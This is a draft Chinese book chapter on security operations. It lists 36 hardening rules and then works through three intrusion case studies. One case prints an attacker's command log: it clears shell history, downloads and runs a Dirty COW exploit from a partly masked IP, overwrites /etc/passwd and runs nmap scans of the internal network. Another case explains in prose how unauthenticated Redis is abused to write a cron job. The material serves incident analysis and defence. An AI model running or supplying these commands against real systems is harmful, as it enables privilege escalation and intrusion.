[关闭]
@gaoxiaoyunwei2017 2018-04-12T03:47:41.000000Z 字数 8225 阅读 359

安全运维三十六计

刘策


作者简介

image.png-356.7kB

韩方,武汉大学研究生毕业,超过十年的安全领域从业经验,先后就职于华为网络安全部、YY直播安全中心。在互联网安全、主机安全、网络安全、Web安全、业务安全等领域有比较深入的研究,多次担任国内外技术峰会演讲嘉宾,申请了多个安全领域的发明专利,曾经主导大型互联网公司的安全体系建设。

总说

安全运维是运维体系中不可或缺的重要环节,它需要同网络运维、基础运维、业务运维,以及研发和测试有效衔接,密切配合,在持续发布、持续集成、运营监控等各个环节无缝对接。Gartner 研究认为,当今的 CIO 应该修改 DevOps 的定义,使其囊括安全理念。他称之为 DevSecOps,“它是糅合了开发、安全及运营理念以创建解决方案的全新方法”。可见安全同开发和运维的关系是相当紧密的,安全运维是企业安全保障的基石。不同于Web安全、移动安全或者业务安全,安全运维环节出现问题往往会造成严重的后果。
在企业的运维体系建设中,安全运维常常滞后于网络运维、基础运维、自动化运维等体系的建设,往往等到安全事件不断爆发,直接影响公司业务的稳定运行时,安全运维体系建设才开始受重视。安全运维涉及几个方面:安全对抗、安全策略和规范、安全事件应急响应、自动化扫描和预警。其中,安全策略和规范应该根据企业的发展阶段、运营环境与投入能力综合评估和决策。制订安全策略时,永远需要考虑成本和效率的平衡,没有绝对的安全!安全体系的建设是逐步提升攻击防御覆盖面,降低攻击影响范围的过程,相当漫长。
中小型公司一般没有专业的安全运维团队,大多数是由运维团队兼职,只有当企业发展到一定规模,对于安全防御有更高要求时,才会组建专业安全运维团队。同时安全运维对于工程师的要求也比较高,需要其具备完善的知识结构,比如熟悉Linux系统原理、网络通信协议、开源组件的各种配置,还要有一定的编程能力,这样才能处理各种攻击、入侵、劫持等安全事件,分析和消除影响,寻找入侵路径,验证修复等等。
本章主要总结了笔者多年从事安全领域工作,以及建设大型互联网安全运维体系时的一些经验。这里的安全运维三十六计,涉及运维的系统规范、开源组件配置、安全管理意识、访问控制策略等安全运维的方方面面,可以为处于不同发展阶段的公司在安全运维体系建设方面提供一些参考。同时本章选取了几个非常有代表性的安全运维案例,这些都是企业在建设安全体系过程中的“血泪”教训。如果只是制订安全策略和安全规范,而不理解其意义,那么这些策略很难真正“落地”。希望案例可以帮助读者更直观地认识安全运维三十六计的真正意义,它们会带来哪些影响,以及应该在什么样的条件下使用。
发生安全事件不一定是什么“坏事”;相反,安全事件可以推动公司整体安全体系进一步发展,同时让公司高层理解安全团队和安全体系的价值,从而争取更多的资源和支持,让安全策略和安全规范有效落地。

一、安全运维三十六计之具体内容

【最小化原则】
第一计 进程最小化,尽可能使用非root账号启动进程。
第二计 账号最小化,禁用操作系统不再使用的账号,对免密码登录的账号要慎重。
第三计 系统服务最小化,停用和关闭无用的服务。
第四计 访问控制规则最小化。白名单规则安全性高于黑名单规则,限制访问IP,限制被访问端口,限制访问protocol。
第五计 权限最小化。Nginx/Tomcat等容器配置访问权限尽可能最小化,比如限定仅可读写当前目录,避免被入侵后影响扩大到其他的目录。
第六计 对于敏感端口或服务,一定要限制最小化的访问IP,比如Tomcat管理后台、SSH远程登录。
【安全管理】
第七计 要不定期进行安全意识培训!不仅针对运维人员,也针对开发和测试人员,进行安全意识培训。
第八计 安全运维是一个立体工程,尽可能降低每个环节的风险,才能降低整体的风险面!单一防御面不可能100%防范风险。
第九计 当服务器数量达到一定量级的时候,很难手工实施漏洞扫描和入侵检测,尽可能将这些工作自动化。
第十计 及时删除运行服务器上的源代码、测试代码以及文档。一旦服务器被入侵,源代码或者测试代码将导致入侵的影响被进一步放大。
第十一计 运行的业务进程尽量不要将敏感信息输出到日志文件中,比如避免Java代码打印数据库连接的账号信息。
第十二计 不要低估数据化和可视化对于安全运维工作的价值。
【密码策略】
第十三计 重要密码一定不能和其他互联网账号密码相同,特别是不能和其他小网站的账号密码相同,避免被撞库。
第十四计 密码口令不能明文保存在服务器的某个文件上。
第十五计 Linux、MySQL、Redis等密码口令要有一定复杂度,不能过于简单。
第十六计 多因素认证可以进一步提升安全防护等级,比如密码+证书或者密码+动态口令。
第十七计 定期更换相关系统(操作系统、管理后台等)的密码是一个好习惯。
【安全审计】
第十八计 定期备份Syslog、Authlog等日志,便于安全事件的追溯和审计,最好实时远程备份操作日志。
第十九计 定期或不定期进行开放端口和服务扫描以及漏洞扫描,
【系统安全】
第二十计 操作系统的history条目要限制在一定数量内,尽可能不要过大,否则一旦被入侵,就可以直接看到命令历史,导致入侵的影响被进一步扩大。
第二十一计 关闭telnet等明文远程登录服务。
第二十二计 Linux下内核参数优化不仅可以提高性能,还可以提升防御攻击能力,比如:tcp_syncookie, ip_conntrack_max等。
第二十三计 密切关注操作系统(Ubuntu、CentOS等)的0day漏洞,及时升级版本或打补丁。
第二十四计 使用selinux或appmrmor可以提升Linux的安全防御等级。
第二十五计 iptables的防火墙规则数量过多,会影响性能,可以使用其他基于hash查找的防火墙规则实现的组件。
第二十六计 Linux下的ps、netsat系统命令看到的不一定是操作系统返回的信息,也可能是木马伪装后的信息。系统命令有可能被篡改,系统内核调用可能被替换。
第二十七计 大量的会话状态跟踪表full日志异常也可能是攻击导致的。
第二十八计 CC攻击(http flood)服务器上最简单的对抗方法就是限制单IP的并发请求数。
【开源组件安全】
第二十九计 密切关注开源组件(MySQL、Nginx、Apache、OpenSSL等)的0day漏洞,版本升级,使用相对较新的组件版本。
第三十计在 Nginx里限制单IP的并发连接数可以缓解CC攻击带来的影响。
第三十一计 在Apache/Nginx里等定制统一的40X或50X等错误返回页面,避免显示业务的错误敏感堆栈逻辑等。
第三十二计 引用Strusts、OpenSSL等第三方库时尽可能使用公司统一的库文件,以及进行适当的评估,避免引入很旧的第三方库版本而导致漏洞。
第三十三计 除非特殊要求,一定要限制缓存类MongoDB、Redis、Memcache匿名登录的默认配置。
第三十四计 关闭PHP的相关危险函数和不需要的远程功能。

【数据安全】
第三十五计 一定不能在数据库中明文保存账号等敏感数据,同时避免密文可逆和碰撞分析,可以通过salt+sha1等实现。
第三十六计 Shell或Python等脚本代码的敏感逻辑一定要进行加密,比如 Shell 中的数据库访问所使用的账号和密码就需要通过加密来提升安全性。

相关案例

案例一 用多种认证手段提升安全防护等级

【相关计策:第十六计】
由于本章介绍的是安全运维,这里就以运维体系举例说明,其实所采用的计策对业务体系同样适用。随着服务器数量越来越多,人们开始采用各种资产配置管理、发布进程、工具系统取代大部分人工操作,运维越来越自动化。然而从安全角度来看,尽管自动化使研发和运维人员发布代码和执行脚本非常方便,但是黑客实施攻击同样也变得方便了。想一想,各种运维体系的发布系统、工具系统等,一旦被黑客入侵,对于一家公司来说基本是“灭顶之灾”,最终结果如何真的只能听天由命了。
很多系统的设计者和开发者往往这样说:“我们的发布系统使用了用户名+密码认证,没有口令无法登录,也无法操作;而且我们还限制只有局域网IP才能操作,不会有安全问题。”其实不然,系统的重要程度决定了其安全级别的设计。对于一般的系统,基本的用户名+密码的认证方式基本可以满足安全需求,但是对于可以掌握全网所有服务器的发布系统、工具系统,显然这样的安全级别就非常低。思考几个问题:如何保证所有研发工程师和运维工程师都设置了复杂度很高的密码?如何保证其中某个人没有使用弱口令?如何保证某个工程师使用的密码不会与互联网上曾经被脱库的密码相同从而导致被撞库?假设公司有1000名工程师,就算发生这种情况的概率仅为千分之一,这个风险就都是无法承受的。
从另一个角度思考,一般在业务场景中(比如支付),已经输入登录密码之后,在支付环节往往还需要再次输入支付密码(与登录密码不同),而且大额支付还需要手机短信验证码(相当于动态密码)。也就是说,敏感的操作,或者影响大的操作,通常需要用多次验证来提升安全性。那么运维体系中发布代码和下发工具脚本的系统如此重要,对这些系统的操作显然需要通过更多认证和机制来保证安全性。比如发布全网性操作时,需要通过二次身份认证再次确认,用手机短信发送动态密码,再次验证操作者的身份。
下面来看笔者很多年以前帮助一家上海公司分析安全入侵事件的真实案例。
2017年上海某公司,某晚运维工程师在做日常运维时发现一个可疑进程,kill此进程之后,其又会重新启动。他印象中公司是没有这样的进程的,非常可疑,于是反馈给安全运维团队。安全工程师开始调查分析,根据经验基本可以判断这个进程为恶意程序。但是它的守护进程在哪里呢?在crontab下面?是自启动加载项?还是内核kernel模块为这个恶意程序守护呢?经过仔细分析,最终发现一个kernel模块比较可疑。它是非标准的CentOS默认内核模块,安全工程师尝试卸载这个恶意内核模块,比较幸运的是,该模块没有自保护机制,可以卸载。这个时候再清理之前的恶意进程,其就不会再重新启动了,因此可以判断这个内核模块就是守护进程,确认它基本属于一个初级Linux rootkit(内核级木马)。后续研究这个rootkit,发现其实除了守护进程,还有很多hook系统sys_ps、sys_write等调用,可以实现很多进程隐藏和文件隐藏的功能!
接下来的重要任务就是,找到入侵路径。首选分析系统有哪些开放的服务和端口。工程师发现系统中的服务都是内部服务,不对外开放,端口也是限制内部IP才能访问,因此通过外部开放服务的漏洞入侵的可能性不大。接下来,把检查的重点转移到内部服务:有哪些服务可以与这台服务器进行通信?由于后门木马文件在crontab下面,于是分析有哪些内部服务系统具有写crontab的权限。通过分析所有内部发布系统和工具系统的日志,最终发现在某个时间点,有一个发布系统向多台机器下发了一个“可疑进程文件”。进一步分析发布系统日志、登录日志,最终锁定是发布系统被入侵而导致其下发了全网木马到所有的服务器上。再进一步分析,发布系统具有账号认证机制,同时限制跳板机IP,执行此操作的账号为在职的某员工账号。然而经确认,该员工没有任何操作时间,非本人操作。与此同时,笔者还分析了各种邮箱登录数据、跳板机日志等,最终确定该员工使用的密码被撞库,邮箱密码和登录证书密钥密码相同,同时邮箱中保存了之前的跳板机证书!庆幸的是,黑客虽然控制了发布系统,但是并没有来得及做“灭顶”的高危操作就被及时发现,否则后果不堪设想。
对于此类有全网操作权限的系统的认证,一定要提升安全级别,增加认证手段,比如通过手机动态短信、动态硬件口令牌进一步认证身份。其安全级别至少不能低于个人用户在支付和消费等业务场景时认证的安全级别!

案例二 定期备份日志,还原入侵事件真相

【相关计策:第十八计】
对于公司的安全体系来说,永远不可能做到100%的绝对安全,因此要把对入侵攻击事件的预警和溯源作为一个常态的安全应急预案。一旦发生入侵事件,就应该分析攻击入侵的路径在哪里?此次入侵事件的影响范围有多大?除了安全工程师需要进行专业的分析,完整的系统日志(syslog/autholog)对于分析入侵事件也十分重要,应该尽可能通过实时远程备份的方式来实现完整系统日志的备份。下面这个案例告诉我们,如果没有完整的系统日志备份,恐怕入侵攻击事件的细节只能靠“猜”,它的真相就永远无法复盘了。通过这个案例还可以看出,有经验的黑客会频繁清理入侵和操作痕迹,也是我们需要远程实时备份的意义所在。
2016年的一天晚上,运维工程师突然接到告警短信:某服务器连接请求失败错误率异常。运维工程师立即上线处理,发现有恶意进程对外发送大量报文,而且该进程文件不是公司自己的进程文件,疑似服务器被入侵,于是请安全运维工程师介入,进行分析和调查。首先分析服务器上的进程、自启动项、定时任务、内核模块、网络连接、恶意文件等,通过对此文件的守护机制、导出符号表的函数等的分析,确认此进程为DDoS攻击木马,说明这台服务器已经被入侵。同时经过sandbox验证,可以确认此文件为具有守护功能的二进制反弹木马。安全运维工程师立即清理恶意文件,以及守护进程。接下来,更重要的工作就是寻找入侵路径。安全运维工程师继续研究和分析,调查这台服务器是什么时候被入侵的?做了哪些操作?是否还有其他的服务器也被入侵?黑客在这台被入侵的服务器上做了哪些具体操作?这个时候最“宝贵”的资料就是“系统日志”的完整备份!以下是当时黑客操作的系统日志片段:

  1. 19:33:08 nobody execs 'export HISTSIZE=0'
  2. 19:33:08 nobody execs 'export HISTIFLE=/dev/null'
  3. 19:33:17 nobody execs 'wget http://47.xx.xx.236/exploit/dirty'
  4. 19:33:17 nobody execs 'chmod +x dirty'
  5. 19:33:18 nobody execs './dirty'
  6. 19:33:58 user: firefart execs 'export HISTSIZE=0'
  7. 19:33:58 user: firefart execs 'export HISTFILE=/dev/null'
  8. 19:33:59 user: firefart execs 'w'
  9. 19:33:59 user: firefart execs 'id'
  10. 19:36:01 user: firefart execs 'ls -la /tmp/passwd.bak'
  11. 19:36:13 user: firefart execs 'cat /tmp/passwd.bak'
  12. 19:36:19 user: firefart execs 'ls -la /tmp/passwd.bak'
  13. 19:36:27 user: firefart execs 'cp /tmp/passwd.bak /etc/passwd'
  14. 19:36:32 user: root execs 'cat /etc/passwd'
  15. 19:36:38 user: root execs 'cat /etc/passwd'
  16. 19:36:39 user: root execs 'w'
  17. 19:36:39 user: root execs 'id'

通过上面的系统日志备份可以看到此次入侵的提权方式(Linux著名的dirtycow提权到root):

  1. 19:36:41 user: root execs 'history'
  2. 19:37:11 user: root execs 'cat /etc/crontab'
  3. 19:37:23 user: root execs 'apt-get installnmap'
  4. 19:37:23 user: root execs 'w'
  5. 19:37:25 user: root execs 'ping -c2 xxx.xxx.com'
  6. 19:37:26 user: root execs 'w'
  7. 19:37:30 user: root execs 'last'
  8. 19:37:39 user: root execs 'ping -c2 xxx.xxx.xxx.xxx'
  9. 19:37:40 user: root execs 'ping -c2 xxx.xxx.xxx.xxx'
  10. 19:37:41 user: root execs 'nmap --iflist'
  11. 19:37:42 user: root execs 'nmapxxx.xxx.xxx.xxx/24 -p 1-65535 -sV --open'
  12. 19:41:15 user: root execs 'nmapxxx.xxx.xxx.xxx -p 1-65535 -sV --open'

继续分析,发现黑客通过crontab和history获取了很多敏感配置信息和脚本,同时直接在本台服务器上通过install nmap继续嗅探渗透,尝试入侵整个局域网的其他服务器!(注:考虑到信息敏感性,这里注释掉了真实的IP和域名信息。)
安全工程师通过对日志的仔细分析,最终确认入侵路径为其中一台服务器的Web管理后台的弱口令,而且黑客通过管理后台上传webshell到服务器,进一步经Linux dirtycow提权到root, 以及渗透周边的MongoDB、Redis与其他服务,同时入侵多台服务器。这里,实时的远程系统日志备份,为安全工程师分析整个入侵事件的攻击路径、影响范围、修复方案提供了非常宝贵的依据。设想一下,如果没有远程日志的完整备份,恐怕这类入侵事件的“真相”就会被永远“隐藏”了!这也是我们强调日志备份的重要性的原因。

案例三 危险的匿名登录默认配置

【相关计策:第三十三计】
最近安全领域比较轰动的事件是“勒索”。 MongoDB、Redis等存储类开源组件在互联网技术架构中得到普遍应用,相信大家都听说过一些针对它们的“勒索”事件,那么为什么这些开源组件会导致勒索呢?先来解释一下这个“勒索”。针对它们的攻击非常简单,利用其配置的匿名登录机制,也就是不需要用户名和密码就可以直接访问,无须具备相应的管理员认证即可实施攻击。一旦攻击者登录MongoDB或Redis数据库,随后会全面夺取控制权并窃取或加密数据库,受害者必须支付赎金才能找回自己的数据。
下面来看一起通过Redis匿名登录入侵服务器的案例。
某公司一台服务器发现某主机CPU显著异常,并且crontab开始持续告警(见下图)。
image.png-138.9kB
查看crontab当前定时任务,看到如下图所示的内容:
image.png-49.2kB
查看脚本pm.sh,确认其为用于执行“挖矿”的脚本。脚本部分内容如下图所示:
微信图片_20180412105009.png-17.8kB
很明显服务器被黑客入侵,并被用来“挖矿”。
分析入侵路径时,首先将目光锁定在服务器开放的Redis服务上面,因为由于Redis未授权访问造成的安全问题屡见不鲜。直接尝试匿名登录,查看Redis是否存在匿名访问的问题,然而结果显示Redis并不存在此问题(见下图):
image.png-12.7kB
原本觉得很可能有问题的Redis却不存在匿名访问,这让我们很困惑。查看Redis配置文件也显示没有设置密码(见下图):
image.png-8.7kB
询问业务方,得知他们也没有设置Redis验证,才明白此时的Redis验证是黑客匿名登录后通过命令行设置的。这名黑客很狡猾,采用了一些手法掩盖自己的行为,即:在入侵一个系统后会“帮助”管理员修复漏洞,以实现自己对服务器的完全控制,而不用担心别的黑客同行通过相同的漏洞入侵,破坏自己的肉鸡资源;同时,也给安全工作人员的调查带来干扰,使他们很难确定漏洞出现在什么地方。
那么,为什么Redis可以将命令写入crontab呢(见下图)?
image.png-174.4kB
从下图可以看到服务器已经被写入文件,并将命令添加到了crontab定时任务中:
image.png-6.9kB
其实黑客利用了Redis自身正常的服务。Redis可以通过Redis-CLI远程管理来设置Redis的默认路径以及数据库缓存文件,方法如下:
image.png-23.3kB
黑客将Redis默认路径设置为crontab服务所在目录,设置数据库缓存文件为root,最后通过set xxx “xxx”命令,将内容(黑客要执行的命令)写入到数据库缓存文件root,由于此root文件恰好为cron file,被添加到crontab定时任务中,因此命令得以执行。
从上面这个案例可以看出匿名登录默认配置是相当“危险”的!

如果您对其中内容表示质疑,欢迎指出并发表意见,一经采纳,您将成为内测版读者,《DevOps三十六计》在年末的第一批印刷将在第一时间送到您的手中。

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注